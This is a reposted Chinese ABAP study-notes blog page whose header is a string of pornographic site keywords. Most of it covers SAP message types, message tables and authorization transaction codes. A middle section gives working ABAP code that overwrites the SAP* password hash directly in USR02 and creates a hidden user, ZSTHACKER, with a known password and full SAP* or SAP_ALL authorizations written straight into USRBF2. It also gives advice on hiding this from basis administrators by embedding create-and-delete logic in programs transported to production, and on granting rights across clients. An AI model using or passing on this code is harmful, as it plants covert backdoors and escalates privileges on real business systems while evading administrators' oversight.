日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

学习笔记一

發布時間:2025/6/17 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 学习笔记一 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、第一個程序范例:【SE38】

REPORT? Y_TEST.
WRITE 'HELLO 小貓咪,歡迎學習ABAP程式,加油哦^_^ '.

?

二、定義消息:【SE91】

SAP程序消息類型:

I——信息窗口,W——警告,E——錯誤,S——成功,A——終止程序或TCODE,X——未知。

?

REPORT? Y_TEST MESSAGE-ID ZMM01.
??????????????????????? MESSAGE I002.

?

REPORT? Y_TEST.
MESSAGE I002(ZMM01) WITH 'Var1' .

或者寫成:MESSAGE ID 'ZMM01' TYPE 'I' NUMBER '002' WITH 'Var1'.

MESSAGE W002(ZMM01) WITH 'Var1' .

MESSAGE E002(ZMM01) WITH 'Var1' .

MESSAGE S002(ZMM01) WITH 'Var1' .

MESSAGE A002(ZMM01) WITH 'Var1' .

MESSAGE X002(ZMM01) WITH 'Var1' .

?

PROGRAM ZMMR005.
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
??? I_ARBGB = 'ZMMR005'
??? I_DTYPE = ''
??? I_MSGNR = '002'
IMPORTING
??? E_MSGTY = SY-MSGTY.

?

三、消息最常用的table

T100: SAP能用到的消息都應該在此表中找到.

T160M :MM模塊相關消息表,此表可完全直接維護.就是說只要記住它,MM的消息配置直接使用SE16就可以.

T100C: FI模塊中用戶自定義的消息,比如使用OBA5, OFMG等自定義的消息會寫入此表,CO配置消息不在此表.

T100S: 此表保存著允許用戶更改的應用區域和消息號,舉例假設你刪除了KI 005則在OBA5中再不能配置此消息.(對MM模塊有些例外,M7不在此表,使用OMCQ依舊可設置,M3不在此表,OMT4依舊可設置)此表也可直接維護.和T160M不同的是,你必須在SE16輸入T100S按新建按鈕才可維護.查詢時只可Display.

T100U: 哪個用戶最后更改了消息,從此表能找到.

T100W: For Workflow

?

常用權限相關Tcode .
(一)Role(角色)相關T-code:
PFAC 標準
PFAC_CHG 改變
PFAC_DEL 刪除
PFAC_DIS 顯示
PFAC_INS 新建
PFAC_STR
PFCG 創建
ROLE_CMP 比較
SUPC 批量建立角色profile
SWUJ 測試
SU03 檢測授權
SU25, SU26 檢查Profile
(二)建立用戶
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10 批量
SU12 批量
SUCOMP:維護用戶公司地址
SU2 change用戶參數
SUIM 用戶信息系統,可by 多個查詢.
(三)建立用戶組
SUGR:維護
SUGRD:顯示
SUGRD_NAV:還是維護
SUGR_NAV:還是顯示
(四)維護檢查授權
SU20|SU21:如有特殊需要定義自己的authorization fields
SU50|SU51|SU52
SU53:當有權限問題可使用它檢測
SU56:分析authoraztion data buffers. SU87:用來檢查用戶改變產生的history SU96,SU97,SU98,SU99:
常用權限相關表格:
TOBJ : All avaiable authorzation objects.(SAP default objects全在此)
USR12: 用戶級authoraztion值
USR02:密碼table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:當前用戶(SM04看到的所有當前活動用戶)
USRBF2:記錄當前用戶所有的授權objects
UST04:User Profile master
UST10C: Composite profiles
UST10S: Single profiles
UST12 : Authorizations

?

?

修改某權限大的用戶密碼.下面是直接修改SAP*的密碼為123.就一句話足矣.

report ZMODPWD.

tables :usr02 .

*Data ZUSR02 like USR02 .

*select single * into zUSR02 from USR02

*where BNAME = 'SAP*'.

*ZUSR02-BNAME = 'SAP*'.

*ZUSR02-Bcode = '9C8AB8600E74D864' .

*ZUSR02-UFLAG = '0' ."unlock SAP*

*Update USR02 from ZUSR02 .

update usr02 set bcode = 'DF52478E6FF90EEB'

where BNAME = 'SAP*'.

?

上面的方法不妥的是如修改了SAP*密碼,basis很快就會知道,為什么不嘗試建立一個臨時用戶呢?下面介紹一個如何通過程序隨意建立用戶并賦予所有權限的例子,此例的特點在于直接在用戶授權對象表USRBF2中加入授權對象,使用SU01看不到任何跡象,隱蔽性較強.

下面是建立用戶ZSTHACKER(初始密碼123qaz)并賦予SAP*用戶的所有權限.

?

Program ZCRTUSER.

Data ZUSR02 like USR02 .

***1Create User ZSTHACKER according to DDIC

select single * into ZUSR02 from USR02

where BNAME = 'DDIC'.

ZUSR02-BNAME = 'ZSTHACKER'.

ZUSR02-Bcode = 'E3B796BB09F7901B' .

insert USR02 from ZUSR02 .

***2Copy Auth. Obj from SAP*(or other)

data ZUSRBF2 like USRBF2 occurs 0 with header line.

select * from USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

?

Loop at ZUSRBF2.

? ZUSRBF2-BNAME = 'ZSTHACKER' .

? Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

?

如果SAP*被修改,直接從Tobj將所有的授權對象賦給ZSTHACKER就可.

Data Ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj .

loop at ztobj.

? zusrbf2-mandt = sy-mandt.

? zusrbf2-bname = 'ZSTHACKER'.

? zusrbf2-objct = ztobj-objct.

? zusrbf2-auth ='&_SAP_ALL'.

? modify USRBF2 FROM zusrbf2 .

endloop .

?

現在還有一點就是basis能檢測到多出的神秘ZSTHACKER用戶,有一種方法就是basis極難發現這個秘密.讀者可自行完成程序邏輯.思路如下:

[1]完善程序有建立和刪除用戶兩功能,并將程序插入將要傳送到PRD的實用Query(或report painter)等自動產生的程序(需要繞過Access Key).

[2]寫個簡單的邏輯如果query的某個條件滿足建立用戶賦予權限(象上面一樣插入數據到USR02和USRBF2中),如果另一條件滿足刪除相關數據(從usr02和usrbf2中將數據刪除)這樣basis就難于發現.

?

[3]能不能垮client端建立用戶和授權呢?

回答是肯定的,很簡單,只要在插入數據時指定client就可.假設在client 100有個用戶ZSTHACKER沒有任何授權,當前client是300,下面的例子將300中SAP*的所有授權對象賦予給client 100的用戶ZSTHACKER.(同理使用client specified可跨client 建立用戶).

?

Data zusrbf2 like usrbf2.

Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .

? Zusrbf2-bname = 'ZSTHACKER' .

? Zusrbf2-mandt = '100'.

? Insert into usrbf2 client specified values zusrbf2.

Endselect .

?

ABAPer 常用Tcode

Tcode

描述

CMOD(SMOD)

SAP增強

OSS1

連接SAP OSS

S001

ABAP開發工作臺菜單(含多Tcode)

SA38

運行程序(SE38開發)

SCAT

Computer Aided Test Tool

SE01

傳遞傳輸請求(同一服務器的不同client)

SE09

傳輸請求操作

SE10

同SE09

SE11

維護ABAP數據字典

SE12

顯示數據字典

SE13|SE14|SE15

數據字典相關

SE16|SE17

查看表數據

SE30

ABAP運行分析

SE32

ABAP文本元素維護

SE35

ABAP/4對話框編程維護

SE36

維護邏輯數據庫

SE37

維護Function module

SE38

ABAP 編輯器

SE39

程序比較

SE41

菜單制作器

SE43

應用區菜單(相同功能tcode組成一area menu)

SE51

屏幕繪制器

SE54

生成表的維護視圖,然后SE16|SM30可直接維護表數據

SE61

文檔維護

SE63

翻譯

SE71->SE76

SAPscript相關 Tcode

SE80

ABAP庫

SE81

ABAP應用層次

SE84|SE85|SE86

ABAP/4 Repository Information System

SE91

建立消息類和消息

SE92

維護系統Log消息

SE93

給程序維護Tcode

SEU

Repository Object Browser

SHD0

維護Tcode運行變式(Variant)

SM04

查看當前用戶

SM12

刪除顯示Locked objects(不可刪除被lock的傳輸請求)

SM21

Dump log查看

SM30|SM31

維護table|view數據

SM32

維護表

SM35

查看Batch input session(建立BDC使用SHDB)

SM36

定義后臺job

SM37

查看后臺job

SM50

Process Overview

SM51

Display system servers, processes, etc.

SM62

Display/Maintain events in SAP

ST05

SQL等跟蹤,使用它可跟蹤程序使用的表等.

SU53

檢查授權對象,如出現權限問題可使用

轉載于:https://www.cnblogs.com/xiaomaomi/archive/2013/02/01/2889654.html

總結

以上是生活随笔為你收集整理的学习笔记一的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。